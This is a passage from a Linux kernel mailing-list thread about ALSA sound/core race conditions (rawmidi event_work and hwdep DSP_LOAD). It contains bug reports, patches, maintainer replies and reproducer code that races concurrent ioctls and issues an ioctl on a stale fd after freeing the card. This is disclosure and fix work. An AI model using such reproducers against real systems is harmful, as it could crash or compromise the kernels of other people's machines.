		flood = NULL;
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("rawmidi card registered: dev=%s devt=%u:%u\n",
		dev_name(rmidi->dev), MAJOR(rmidi->dev->devt), MINOR(rmidi->dev->devt));

	return 0;
}

static void __exit sndcore_rawmidi_exit(void)

{
	if (flood) {
		kthread_stop(flood);
		flood = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}

module_init(sndcore_rawmidi_init); module_exit(sndcore_rawmidi_exit); MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-04 rawmidi event_work verifier");

#102 lore raw

Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)

Quoted 2 lines · 徐晗翔

Please keep me in Cc; I am not subscribed to the lists.

Why? You never responded to any other query we asked for the last month!

Best regards,
Krzysztof

author
#103 lore raw

[PATCH] Re: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)

close_substream() cancelled the input event work before clearing substream->opened, but snd_rawmidi_receive() serializes only against the opened store: a driver that delivers input in that window re-queued event_work after the cancellation, and the work then ran on the runtime freed by snd_rawmidi_runtime_free() (KASAN UAF in snd_rawmidi_input_event_work()).

Cancel the work a second time after opened is cleared and before the runtime is freed. Also restore the per-substream disconnected
flag: snd_rawmidi_dev_disconnect() marks input substreams disconnected under substream->lock and drains the event work, so a driver that keeps calling snd_rawmidi_receive() after the disconnect cannot re-queue the work either (snd_rawmidi_receive() and snd_rawmidi_input_trigger() check the flag).

---
 sound/core/rawmidi.c    | 23 +++++++++++++++++++++--
 include/sound/rawmidi.h |  1 +
 2 files changed, 22 insertions(+), 2 deletions(-)
sound/core/rawmidi.c +21 -2
@@ -215,7 +215,7 @@
 
 static void snd_rawmidi_input_trigger(struct snd_rawmidi_substream *substream, int up)
 {
-	if (!substream->opened)
+	if (!substream->opened || substream->disconnected)
 		return;
 	substream->ops->trigger(substream, up);
 	if (!up)
@@ -557,6 +557,14 @@
 		substream->opened = 0;
 		substream->append = 0;
 	}
+	/* Drain the input event work that a racing snd_rawmidi_receive()
+	 * may have queued after the earlier cancellation in
+	 * snd_rawmidi_input_trigger(): receive() serializes only against
+	 * the opened=0 store above, not against the earlier cancel, so the
+	 * work can be pending again here.  It must not outlive the runtime
+	 * free below. */
+	if (substream->stream == SNDRV_RAWMIDI_STREAM_INPUT)
+		cancel_work_sync(&substream->runtime->event_work);
 	substream->ops->close(substream);
 	if (substream->runtime->private_free)
 		substream->runtime->private_free(substream);
@@ -1151,7 +1159,7 @@
 	struct snd_rawmidi_runtime *runtime;
 
 	guard(spinlock_irqsave)(&substream->lock);
-	if (!substream->opened)
+	if (!substream->opened || substream->disconnected)
 		return -EBADFD;
 	runtime = substream->runtime;
 	if (!runtime || !runtime->buffer) {
@@ -2065,6 +2073,17 @@
 		list_for_each_entry(s, &rmidi->streams[dir].substreams, list) {
 			if (s->runtime)
 				wake_up(&s->runtime->sleep);
+			/* mark input substreams disconnected and drain the
+			 * event work: a driver that keeps calling
+			 * snd_rawmidi_receive() after the disconnect must
+			 * not re-queue the work on a runtime that the close
+			 * path is about to free */
+			if (s->stream == SNDRV_RAWMIDI_STREAM_INPUT) {
+				scoped_guard(spinlock_irqsave, &s->lock)
+					s->disconnected = true;
+				if (s->runtime)
+					cancel_work_sync(&s->runtime->event_work);
+			}
 		}
 	}
 
include/sound/rawmidi.h +1 -0
@@ -84,6 +84,7 @@
 	int stream;			/* direction */
 	int number;			/* substream number */
 	bool opened;			/* open flag */
+	bool disconnected;		/* device disconnected flag */
 	bool append;			/* append flag (merge more streams) */
 	bool active_sensing;		/* send active sensing when close */
 	unsigned int framing;		/* whether to frame input data */
Quoted 17 lines

-----原始邮件-----
发件人: "Krzysztof Kozlowski" <[email protected]>
发送时间:2026-11-24 22:52:58 (星期二)
收件人: 徐晗翔 <[email protected]>, [email protected], [email protected]
抄送: [email protected], [email protected]
主题: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)

Quoted 2 lines · 徐晗翔

Please keep me in Cc; I am not subscribed to the lists.

Why? You never responded to any other query we asked for the last month!

Best regards,
Krzysztof

#104 lore raw

Re: [PATCH] Re: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)

Quoted 8 lines · 徐晗翔

close_substream() cancelled the input event work before clearing substream->opened, but snd_rawmidi_receive() serializes only against the opened store: a driver that delivers input in that window re-queued event_work after the cancellation, and the work then ran on the runtime freed by snd_rawmidi_runtime_free() (KASAN UAF in snd_rawmidi_input_event_work()).

Quoted 7 lines

Cancel the work a second time after opened is cleared and before the runtime is freed. Also restore the per-substream disconnected
flag: snd_rawmidi_dev_disconnect() marks input substreams disconnected under substream->lock and drains the event work, so a driver that keeps calling snd_rawmidi_receive() after the disconnect cannot re-queue the work either (snd_rawmidi_receive() and snd_rawmidi_input_trigger() check the flag).

This should have been already addressed in the recent upstream code. Please verify whether you still see the issue.

thanks,

Takashi

Quoted 90 lines
---
 sound/core/rawmidi.c    | 23 +++++++++++++++++++++--
 include/sound/rawmidi.h |  1 +
 2 files changed, 22 insertions(+), 2 deletions(-)
sound/core/rawmidi.c +21 -2
@@ -215,7 +215,7 @@
 
 static void snd_rawmidi_input_trigger(struct snd_rawmidi_substream *substream, int up)
 {
-	if (!substream->opened)
+	if (!substream->opened || substream->disconnected)
 		return;
 	substream->ops->trigger(substream, up);
 	if (!up)
@@ -557,6 +557,14 @@
 		substream->opened = 0;
 		substream->append = 0;
 	}
+	/* Drain the input event work that a racing snd_rawmidi_receive()
+	 * may have queued after the earlier cancellation in
+	 * snd_rawmidi_input_trigger(): receive() serializes only against
+	 * the opened=0 store above, not against the earlier cancel, so the
+	 * work can be pending again here.  It must not outlive the runtime
+	 * free below. */
+	if (substream->stream == SNDRV_RAWMIDI_STREAM_INPUT)
+		cancel_work_sync(&substream->runtime->event_work);
 	substream->ops->close(substream);
 	if (substream->runtime->private_free)
 		substream->runtime->private_free(substream);
@@ -1151,7 +1159,7 @@
 	struct snd_rawmidi_runtime *runtime;
 
 	guard(spinlock_irqsave)(&substream->lock);
-	if (!substream->opened)
+	if (!substream->opened || substream->disconnected)
 		return -EBADFD;
 	runtime = substream->runtime;
 	if (!runtime || !runtime->buffer) {
@@ -2065,6 +2073,17 @@
 		list_for_each_entry(s, &rmidi->streams[dir].substreams, list) {
 			if (s->runtime)
 				wake_up(&s->runtime->sleep);
+			/* mark input substreams disconnected and drain the
+			 * event work: a driver that keeps calling
+			 * snd_rawmidi_receive() after the disconnect must
+			 * not re-queue the work on a runtime that the close
+			 * path is about to free */
+			if (s->stream == SNDRV_RAWMIDI_STREAM_INPUT) {
+				scoped_guard(spinlock_irqsave, &s->lock)
+					s->disconnected = true;
+				if (s->runtime)
+					cancel_work_sync(&s->runtime->event_work);
+			}
 		}
 	}
 
include/sound/rawmidi.h +1 -0
@@ -84,6 +84,7 @@
 	int stream;			/* direction */
 	int number;			/* substream number */
 	bool opened;			/* open flag */
+	bool disconnected;		/* device disconnected flag */
 	bool append;			/* append flag (merge more streams) */
 	bool active_sensing;		/* send active sensing when close */
 	unsigned int framing;		/* whether to frame input data */
Quoted 17 lines

-----原始邮件-----
发件人: "Krzysztof Kozlowski" <[email protected]>
发送时间:2026-11-24 22:52:58 (星期二)
收件人: 徐晗翔 <[email protected]>, [email protected], [email protected]
抄送: [email protected], [email protected]
主题: Re: sound: core: rawmidi input close can re-queue event_work after cancel_work_sync() (UAF)

Quoted 2 lines · 徐晗翔

Please keep me in Cc; I am not subscribed to the lists.

Why? You never responded to any other query we asked for the last month!

Best regards,
Krzysztof

author
#105 lore raw

sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)

In reply to Greg KH

snd_hwdep_dsp_load() in sound/core/hwdep.c checks the hw->dsp_loaded bit and then calls hw->ops.dsp_load() without holding a lock. Two threads that share the same hwdep file descriptor (dup() or fork()) can both pass the check and run the driver's dsp_load callback concurrently; both then set the same bit. Upstream serializes the whole check-and-load operation with a per-device dsp_mutex, which this tree does not have at all: struct snd_hwdep has no dsp_mutex field, snd_hwdep_new() does not initialize it, and snd_hwdep_dsp_load() has no guard.

The driver callback is not required to be thread-safe. In-tree, the usx2y driver's snd_usx2y_hwdep_dsp_load() calls usx2y_create_alsa_devices() for index 1; that path registers ALSA devices and initializes URBs, and usx2y_async_seq04_init()/usx2y_in04_init() use a non-atomic WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) check-then-act. Concurrent DSP_LOAD can therefore duplicate device registration and allocate/overwrite the same buffer/URB pointers, with double-free or use-after-free consequences in the driver.

I reproduced the unlocked check on Linux 7.3 with a test hwdep device whose dsp_load callback sleeps 300 ms and tracks concurrency. Four threads sharing one fd issue SNDRV_HWDEP_IOCTL_DSP_LOAD; the log shows active=1,2,3,4 in the callback (max_active=4). hw->exclusive only guards open(), not concurrent ioctl() on an already-open fd. This run did not produce a KASAN report because the callback is synthetic; the proven claim is the broken mutual exclusion, with the usx2y consequence argued from code.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB). CONFIG_SND_HWDEP=y. Version line in evidence/kernel-version.txt.

* Root cause

sound/core/hwdep.c:206-222 (snd_hwdep_dsp_load):

    if (hw->dsp_loaded & (1u << index))
        return -EBUSY;

    err = hw->ops.dsp_load(hw, &info);
    if (err < 0)
        return err;
    hw->dsp_loaded |= (1u << index);

No lock covers the test, the callback and the bit update. Upstream has guard(mutex)(&hw->dsp_mutex) around this sequence, and struct snd_hwdep contains dsp_mutex; in this tree the field, the mutex_init() in snd_hwdep_new() and the guard are all absent.

The ioctl path sound/core/hwdep.c:236-252 does not take open_mutex around snd_hwdep_dsp_load(); open_mutex is held only by snd_hwdep_open() for the exclusive/wait logic. hw->exclusive is a one-time open() check, not a per-ioctl lock, and dup()/fork() share the same struct file and hw->used without re-running open().

* Consequence in usx2y

sound/usb/usx2y/usX2Yhwdep.c:174-213 (snd_usx2y_hwdep_dsp_load) loads firmware images by index; for index == 1 it calls usx2y_create_alsa_devices(hw->card), which registers ALSA devices and starts the USB streams.

sound/usb/usx2y/usbusx2y.c:267-297 (usx2y_async_seq04_init) and :299-334 (usx2y_in04_init) allocate buffers/URBs and use WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) as a check-then-act guard; WARN_ON does not serialize. Two concurrent index-1 loads can both allocate and overwrite these fields, and usx2y_unlinkseq()/cleanup can then double-free or UAF them.

* Trigger model

- A hwdep device whose DSP load is performed by userspace (usx2y is

    the in-tree example);
  - a process opens /dev/snd/hwC*D* and dup()s the fd (or forks);
  - two threads issue SNDRV_HWDEP_IOCTL_DSP_LOAD concurrently with the
    same index;

- both pass the bit check and enter the driver callback.

No hardware is needed to demonstrate the unlocked check; the attached test module does it.

* Reproducer (attached) and results on 7.3

sndcore_hwdep.c creates a card + hwdep device with hw->exclusive = 1 and a dsp_load callback that does:
atomic_inc(&active); update max_active; msleep(300); atomic_dec(). sndcore_test.c opens /dev/snd/hwC0D0 once and lets four pthreads issue SNDRV_HWDEP_IOCTL_DSP_LOAD on that fd.

Observed :

dsp_load enter: index=0 active=1 entered=1 ... dsp_load enter: index=0 active=2 entered=2 ... dsp_load enter: index=0 active=3 entered=3 ... dsp_load enter: index=0 active=4 entered=4 ...
HWDEP: 4 concurrent DSP_LOAD issued KASAN bug count: 0

active=4 proves all four callbacks ran concurrently despite the dsp_loaded check; the absence of KASAN is expected for a synthetic callback and is stated as such.

* Suggested direction

Restore the upstream per-device dsp_mutex:
- add struct mutex dsp_mutex to struct snd_hwdep;
- mutex_init(&hwdep->dsp_mutex) in snd_hwdep_new();
- hold it across the dsp_loaded check, hw->ops.dsp_load() and the bit update in snd_hwdep_dsp_load().

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <linux/atomic.h>
#include <sound/core.h>
#include <sound/hwdep.h>
#include "sndcore_parent.h"

static struct snd_card *card;
static struct snd_hwdep *hw;
static atomic_t active = ATOMIC_INIT(0);
static atomic_t entered = ATOMIC_INIT(0);
static int max_active;

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200); module_param(max_active, int, 0444);

static void update_max(int v)

{
	int old = READ_ONCE(max_active);
	while (v > old && cmpxchg(&max_active, old, v) != old)
		old = READ_ONCE(max_active);
}

static int test_dsp_load(struct snd_hwdep *h,
struct snd_hwdep_dsp_image *image)

{
	int a = atomic_inc_return(&active);
	int n = atomic_inc_return(&entered);

	update_max(a);
	pr_info("dsp_load enter: index=%u active=%d entered=%d image=%px len=%zu\n",
		image->index, a, n, image->image, image->length);
	msleep(300);
	pr_info("dsp_load leave: index=%u active=%d\n", image->index, a);
	atomic_dec(&active);
	return 0;
}

static int __init sndcore_hwdep_init(void)

{
	int err;

	err = sndcore_card_new(&card, "sndcore_hwdep");
	if (err < 0)
		return err;

	err = snd_hwdep_new(card, "sndcore", 0, &hw);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	hw->ops.dsp_load = test_dsp_load;
	hw->exclusive = 1;

	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("hwdep card registered\n");
	return 0;
}

static void __exit sndcore_hwdep_exit(void)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}

module_init(sndcore_hwdep_init); module_exit(sndcore_hwdep_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-06 hwdep DSP_LOAD mutex verifier");

author
#106 lore raw

[PATCH] Re: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)

snd_hwdep_dsp_load() checked hw->dsp_loaded, ran the driver callback and updated the bit with no lock; two threads sharing one hwdep fd (dup()/fork()) could both pass the check and run hw->ops.dsp_load() concurrently -- the callback is not required to be thread-safe (in-tree usx2y registers ALSA devices and allocates URBs under non-atomic WARN_ON() check-then-act guards), with double-registration / double-free / UAF consequences.

Restore the upstream per-device dsp_mutex: add the field to struct snd_hwdep, initialize it in snd_hwdep_new() and hold it across the dsp_loaded check, the dsp_load() callback and the bit update. hw->exclusive only guards open(), not concurrent ioctls on an already-open fd.

---
 sound/core/hwdep.c    | 11 ++++++++++-
 include/sound/hwdep.h |  2 ++
 2 files changed, 12 insertions(+), 1 deletion(-)
sound/core/hwdep.c +10 -1
@@ -207,11 +207,19 @@
 			      struct snd_hwdep_dsp_image *info)
 {
 	int err;
-	
+
 	if (! hw->ops.dsp_load)
 		return -ENXIO;
 	if (info->index >= 32)
 		return -EINVAL;
+	/* Serialize the whole check-and-load sequence: two threads sharing
+	 * one hwdep fd (dup()/fork()) must not both pass the dsp_loaded
+	 * check and run the driver callback concurrently -- the callback
+	 * is not required to be thread-safe (in-tree usx2y registers
+	 * devices and allocates URBs with non-atomic check-then-act
+	 * guards), and both would set the same bit.  hw->exclusive only
+	 * guards open(), not concurrent ioctls on an already-open fd. */
+	guard(mutex)(&hw->dsp_mutex);
 	/* check whether the dsp was already loaded */
 	if (hw->dsp_loaded & (1u << info->index))
 		return -EBUSY;
@@ -380,6 +388,7 @@
 
 	init_waitqueue_head(&hwdep->open_wait);
 	mutex_init(&hwdep->open_mutex);
+	mutex_init(&hwdep->dsp_mutex);
 	hwdep->card = card;
 	hwdep->device = device;
 	if (id)
include/sound/hwdep.h +2 -0
@@ -56,6 +56,8 @@
 	struct device *dev;
 
 	struct mutex open_mutex;
+	struct mutex dsp_mutex;		/* serializes the DSP_LOAD
+					 * check-and-load sequence */
 	int used;			/* reference counter */
 	unsigned int dsp_loaded;	/* bit fields of loaded dsp indices */
 	unsigned int exclusive:1;	/* exclusive access mode */
Quoted 128 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:52:51 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)

snd_hwdep_dsp_load() in sound/core/hwdep.c checks the hw->dsp_loaded bit and then calls hw->ops.dsp_load() without holding a lock. Two threads that share the same hwdep file descriptor (dup() or fork()) can both pass the check and run the driver's dsp_load callback concurrently; both then set the same bit. Upstream serializes the whole check-and-load operation with a per-device dsp_mutex, which this tree does not have at all: struct snd_hwdep has no dsp_mutex field, snd_hwdep_new() does not initialize it, and snd_hwdep_dsp_load() has no guard.

The driver callback is not required to be thread-safe. In-tree, the usx2y driver's snd_usx2y_hwdep_dsp_load() calls usx2y_create_alsa_devices() for index 1; that path registers ALSA devices and initializes URBs, and usx2y_async_seq04_init()/usx2y_in04_init() use a non-atomic WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) check-then-act. Concurrent DSP_LOAD can therefore duplicate device registration and allocate/overwrite the same buffer/URB pointers, with double-free or use-after-free consequences in the driver.

I reproduced the unlocked check on Linux 7.3 with a test hwdep device whose dsp_load callback sleeps 300 ms and tracks concurrency. Four threads sharing one fd issue SNDRV_HWDEP_IOCTL_DSP_LOAD; the log shows active=1,2,3,4 in the callback (max_active=4). hw->exclusive only guards open(), not concurrent ioctl() on an already-open fd. This run did not produce a KASAN report because the callback is synthetic; the proven claim is the broken mutual exclusion, with the usx2y consequence argued from code.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB). CONFIG_SND_HWDEP=y. Version line in evidence/kernel-version.txt.

* Root cause

sound/core/hwdep.c:206-222 (snd_hwdep_dsp_load):

    if (hw->dsp_loaded & (1u << index))
        return -EBUSY;

    err = hw->ops.dsp_load(hw, &info);
    if (err < 0)
        return err;
    hw->dsp_loaded |= (1u << index);

No lock covers the test, the callback and the bit update. Upstream has guard(mutex)(&hw->dsp_mutex) around this sequence, and struct snd_hwdep contains dsp_mutex; in this tree the field, the mutex_init() in snd_hwdep_new() and the guard are all absent.

The ioctl path sound/core/hwdep.c:236-252 does not take open_mutex around snd_hwdep_dsp_load(); open_mutex is held only by snd_hwdep_open() for the exclusive/wait logic. hw->exclusive is a one-time open() check, not a per-ioctl lock, and dup()/fork() share the same struct file and hw->used without re-running open().

* Consequence in usx2y

sound/usb/usx2y/usX2Yhwdep.c:174-213 (snd_usx2y_hwdep_dsp_load) loads firmware images by index; for index == 1 it calls usx2y_create_alsa_devices(hw->card), which registers ALSA devices and starts the USB streams.

sound/usb/usx2y/usbusx2y.c:267-297 (usx2y_async_seq04_init) and :299-334 (usx2y_in04_init) allocate buffers/URBs and use WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) as a check-then-act guard; WARN_ON does not serialize. Two concurrent index-1 loads can both allocate and overwrite these fields, and usx2y_unlinkseq()/cleanup can then double-free or UAF them.

* Trigger model

- A hwdep device whose DSP load is performed by userspace (usx2y is

    the in-tree example);
  - a process opens /dev/snd/hwC*D* and dup()s the fd (or forks);
  - two threads issue SNDRV_HWDEP_IOCTL_DSP_LOAD concurrently with the
    same index;

- both pass the bit check and enter the driver callback.

No hardware is needed to demonstrate the unlocked check; the attached test module does it.

* Reproducer (attached) and results on 7.3

sndcore_hwdep.c creates a card + hwdep device with hw->exclusive = 1 and a dsp_load callback that does:
atomic_inc(&active); update max_active; msleep(300); atomic_dec(). sndcore_test.c opens /dev/snd/hwC0D0 once and lets four pthreads issue SNDRV_HWDEP_IOCTL_DSP_LOAD on that fd.

Observed :

dsp_load enter: index=0 active=1 entered=1 ... dsp_load enter: index=0 active=2 entered=2 ... dsp_load enter: index=0 active=3 entered=3 ... dsp_load enter: index=0 active=4 entered=4 ...
HWDEP: 4 concurrent DSP_LOAD issued KASAN bug count: 0

active=4 proves all four callbacks ran concurrently despite the dsp_loaded check; the absence of KASAN is expected for a synthetic callback and is stated as such.

* Suggested direction

Restore the upstream per-device dsp_mutex:
- add struct mutex dsp_mutex to struct snd_hwdep;
- mutex_init(&hwdep->dsp_mutex) in snd_hwdep_new();
- hold it across the dsp_loaded check, hw->ops.dsp_load() and the bit update in snd_hwdep_dsp_load().

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

#107 lore raw

Re: [PATCH] Re: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)

Quoted 9 lines · 徐晗翔

snd_hwdep_dsp_load() checked hw->dsp_loaded, ran the driver callback and updated the bit with no lock; two threads sharing one hwdep fd (dup()/fork()) could both pass the check and run hw->ops.dsp_load() concurrently -- the callback is not required to be thread-safe (in-tree usx2y registers ALSA devices and allocates URBs under non-atomic WARN_ON() check-then-act guards), with double-registration / double-free / UAF consequences.

Quoted 5 lines

Restore the upstream per-device dsp_mutex: add the field to struct snd_hwdep, initialize it in snd_hwdep_new() and hold it across the dsp_loaded check, the dsp_load() callback and the bit update. hw->exclusive only guards open(), not concurrent ioctls on an already-open fd.

This is already fixed in the upstream commit aee83c204f80.

thanks,

Takashi

Quoted 179 lines
---
 sound/core/hwdep.c    | 11 ++++++++++-
 include/sound/hwdep.h |  2 ++
 2 files changed, 12 insertions(+), 1 deletion(-)
sound/core/hwdep.c +10 -1
@@ -207,11 +207,19 @@
 			      struct snd_hwdep_dsp_image *info)
 {
 	int err;
-	
+
 	if (! hw->ops.dsp_load)
 		return -ENXIO;
 	if (info->index >= 32)
 		return -EINVAL;
+	/* Serialize the whole check-and-load sequence: two threads sharing
+	 * one hwdep fd (dup()/fork()) must not both pass the dsp_loaded
+	 * check and run the driver callback concurrently -- the callback
+	 * is not required to be thread-safe (in-tree usx2y registers
+	 * devices and allocates URBs with non-atomic check-then-act
+	 * guards), and both would set the same bit.  hw->exclusive only
+	 * guards open(), not concurrent ioctls on an already-open fd. */
+	guard(mutex)(&hw->dsp_mutex);
 	/* check whether the dsp was already loaded */
 	if (hw->dsp_loaded & (1u << info->index))
 		return -EBUSY;
@@ -380,6 +388,7 @@
 
 	init_waitqueue_head(&hwdep->open_wait);
 	mutex_init(&hwdep->open_mutex);
+	mutex_init(&hwdep->dsp_mutex);
 	hwdep->card = card;
 	hwdep->device = device;
 	if (id)
include/sound/hwdep.h +2 -0
@@ -56,6 +56,8 @@
 	struct device *dev;
 
 	struct mutex open_mutex;
+	struct mutex dsp_mutex;		/* serializes the DSP_LOAD
+					 * check-and-load sequence */
 	int used;			/* reference counter */
 	unsigned int dsp_loaded;	/* bit fields of loaded dsp indices */
 	unsigned int exclusive:1;	/* exclusive access mode */
Quoted 130 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:52:51 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: core: hwdep DSP_LOAD check-then-act is unlocked, allowing concurrent DSP_LOAD callbacks (UAF)

snd_hwdep_dsp_load() in sound/core/hwdep.c checks the hw->dsp_loaded bit and then calls hw->ops.dsp_load() without holding a lock. Two threads that share the same hwdep file descriptor (dup() or fork()) can both pass the check and run the driver's dsp_load callback concurrently; both then set the same bit. Upstream serializes the whole check-and-load operation with a per-device dsp_mutex, which this tree does not have at all: struct snd_hwdep has no dsp_mutex field, snd_hwdep_new() does not initialize it, and snd_hwdep_dsp_load() has no guard.

The driver callback is not required to be thread-safe. In-tree, the usx2y driver's snd_usx2y_hwdep_dsp_load() calls usx2y_create_alsa_devices() for index 1; that path registers ALSA devices and initializes URBs, and usx2y_async_seq04_init()/usx2y_in04_init() use a non-atomic WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) check-then-act. Concurrent DSP_LOAD can therefore duplicate device registration and allocate/overwrite the same buffer/URB pointers, with double-free or use-after-free consequences in the driver.

I reproduced the unlocked check on Linux 7.3 with a test hwdep device whose dsp_load callback sleeps 300 ms and tracks concurrency. Four threads sharing one fd issue SNDRV_HWDEP_IOCTL_DSP_LOAD; the log shows active=1,2,3,4 in the callback (max_active=4). hw->exclusive only guards open(), not concurrent ioctl() on an already-open fd. This run did not produce a KASAN report because the callback is synthetic; the proven claim is the broken mutual exclusion, with the usx2y consequence argued from code.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source, KASAN, QEMU/KVM x86_64 (4 vCPU, 4 GB). CONFIG_SND_HWDEP=y. Version line in evidence/kernel-version.txt.

* Root cause

sound/core/hwdep.c:206-222 (snd_hwdep_dsp_load):

    if (hw->dsp_loaded & (1u << index))
        return -EBUSY;

    err = hw->ops.dsp_load(hw, &info);
    if (err < 0)
        return err;
    hw->dsp_loaded |= (1u << index);

No lock covers the test, the callback and the bit update. Upstream has guard(mutex)(&hw->dsp_mutex) around this sequence, and struct snd_hwdep contains dsp_mutex; in this tree the field, the mutex_init() in snd_hwdep_new() and the guard are all absent.

The ioctl path sound/core/hwdep.c:236-252 does not take open_mutex around snd_hwdep_dsp_load(); open_mutex is held only by snd_hwdep_open() for the exclusive/wait logic. hw->exclusive is a one-time open() check, not a per-ioctl lock, and dup()/fork() share the same struct file and hw->used without re-running open().

* Consequence in usx2y

sound/usb/usx2y/usX2Yhwdep.c:174-213 (snd_usx2y_hwdep_dsp_load) loads firmware images by index; for index == 1 it calls usx2y_create_alsa_devices(hw->card), which registers ALSA devices and starts the USB streams.

